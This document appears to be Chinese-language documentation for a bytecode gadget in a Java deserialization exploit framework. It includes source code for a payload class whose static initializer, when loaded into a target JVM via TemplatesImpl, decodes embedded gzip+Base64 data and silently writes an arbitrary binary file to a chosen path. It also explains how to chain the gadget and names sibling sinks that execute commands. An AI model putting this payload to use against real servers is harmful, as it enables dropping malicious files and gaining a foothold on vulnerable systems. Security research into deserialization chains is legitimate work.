- 类别:bytecode 别名:— 优先级:20
- 作者:Ar3h
- 依赖:无第三方依赖(内部使用
FileHelper的 gzip+Base64 与 Javassist)
生成一段“字节码 payload”:其静态初始化块在目标 JVM 加载时,把内嵌的 gzip+Base64 数据解码还原为原始字节,用 FileOutputStream 落地到指定路径。相比 WriteFile,本 gadget 支持任意二进制文件与大文件(内嵌前先 gzip 压缩,编码后大小上限 20MB)。是字节码类 sink(END)。
- 入口
tags:Bytecode、ENDBytecode—— 产出byte[]字节码,需由上游“字节码装载器” BytecodeConvert(其nextTags唯一含Bytecode)承接,装入TemplatesImpl后在反序列化时触发类加载。END—— 终点标签,nextTags为空,本 gadget 是链尾 sink。
- 衔接
nextTags:无。 excludes:无。
gadget 本体负责把“文件内容”压缩编码后,以字符串常量的形式分片写进模板类的一个 getString() 方法里,再导出字节码:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(WriteLargeFileBytecode.class);
javassistHelper.modifyStringField("path", this.path); // 目标写入路径烧进静态字段
String content = null;
if (this.b64 != null && !this.b64.isEmpty()) { // 优先用 b64 参数(已是 gzip+base64 串)
content = this.b64;
} else if (this.path != null && !this.path.isEmpty()) { // 否则读取本地 file 并 gzip+base64
content = FileHelper.compressFileToBase64(this.file);
} else {
ThrowsUtil.throwNotFoundOptionGadgetException("'b64' or 'path'");
}
int mb = 0x100000; // 编码后 > 20MB 直接拒绝
if (content.length() > mb * 20) {
ThrowsUtil.throwGadgetException("the gzip and base64 encoded string size is "
+ content.length() / mb + " MB, over 20mb");
}
// 把长字符串按 2000 一段切开,逐段 sb.append(...) 拼回,规避常量池单字符串 64KB 上限
StringBuilder methodBody = new StringBuilder();
methodBody.append("{StringBuilder sb = new StringBuilder();\n");
for (String s : FileHelper.cutString(content, 2000)) {
methodBody.append("sb.append(\"" + s + "\");\n");
}
methodBody.append("return sb.toString();}");
javassistHelper.addMethod("getString", methodBody.toString()); // 动态生成 getString()
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context);
return this.getObject();
}真正的落地行为在模板类的静态初始化块与构造器中——被上游 TemplatesImpl.defineClass + newInstance 触发:
public class WriteLargeFileBytecode {
public static String path;
public String getString() { return "test"; } // 生成侧被 addMethod 覆盖为真实数据
public WriteLargeFileBytecode() {
try (ByteArrayInputStream bais =
new ByteArrayInputStream(WriteLargeFileBytecode.Base64Decode(this.getString()));
GZIPInputStream gzip = new GZIPInputStream(bais); // 先 Base64 解码,再 gunzip
FileOutputStream fos = new FileOutputStream(path)) {
int len; byte[] buffer = new byte[1024];
while ((len = gzip.read(buffer)) > 0) fos.write(buffer, 0, len); // 还原原始二进制并落盘
} catch (IOException e) { /* 静默 */ }
}
public static byte[] Base64Decode(String var0) {
// 反射优先 java.util.Base64,回退 sun.misc.BASE64Decoder,兼容高低 JDK
...
}
static { new WriteLargeFileBytecode(); } // 类加载即执行
}要点:
- 压缩链路:本地文件 → gzip → Base64 → 作为字符串常量嵌入类。执行侧逆向:Base64 解码 →
GZIPInputStream解压 →FileOutputStream逐段写出,因此能忠实还原二进制,不会像 WriteFile 那样被 UTF-8 编码破坏。 - 分片拼接:
cutString(content, 2000)把长串切成 2000 字符的片段,用StringBuilder.append拼回,规避 Java 常量池中单个字符串常量的 64KB(UTF-8 编码字节)上限,这正是能承载“大文件”的关键。 - Base64Decode 反射:优先
java.util.Base64(JDK 8+),失败回退sun.misc.BASE64Decoder,兼容低版本 JDK。 - 目标已存在会被
FileOutputStream覆盖;异常静默。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
b64 |
Base64 字符串 | 直接提供 gzip+Base64 编码后的二进制内容(与 file 二选一,优先) |
无 | — |
file |
读取本地文件路径 | 由 chains 端读取并做 gzip+Base64;b64 为空时使用 |
无 | — |
path |
写入目标文件路径 | 目标 JVM 上落盘路径 | output_test.txt |
— |
- 无版本依赖,纯 JDK API(
GZIPInputStream/FileOutputStream),JDK 7+ 可用;Base64 解码兼容 JDK 8+ 与更低版本。 - 支持二进制与大文件,gzip+Base64 编码后总大小硬上限 20MB,超出会在生成阶段抛异常。
b64与file二选一,均空则报NotFoundOptionGadgetException。- 需上游具备“装入字节码并触发类初始化”的能力(
TemplatesImpl路线,通常要求目标 JDK < 17)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteLargeFile]。
- 上游(承接本
Bytecodetag):BytecodeConvert —— 把本 gadget 产出的字节码装入TemplatesImpl。 - 同族 sink(同为
Bytecode/END):WriteFile(纯文本、已 Deprecated)、WriteFileExec(写二进制并执行)、Exec、Sleep。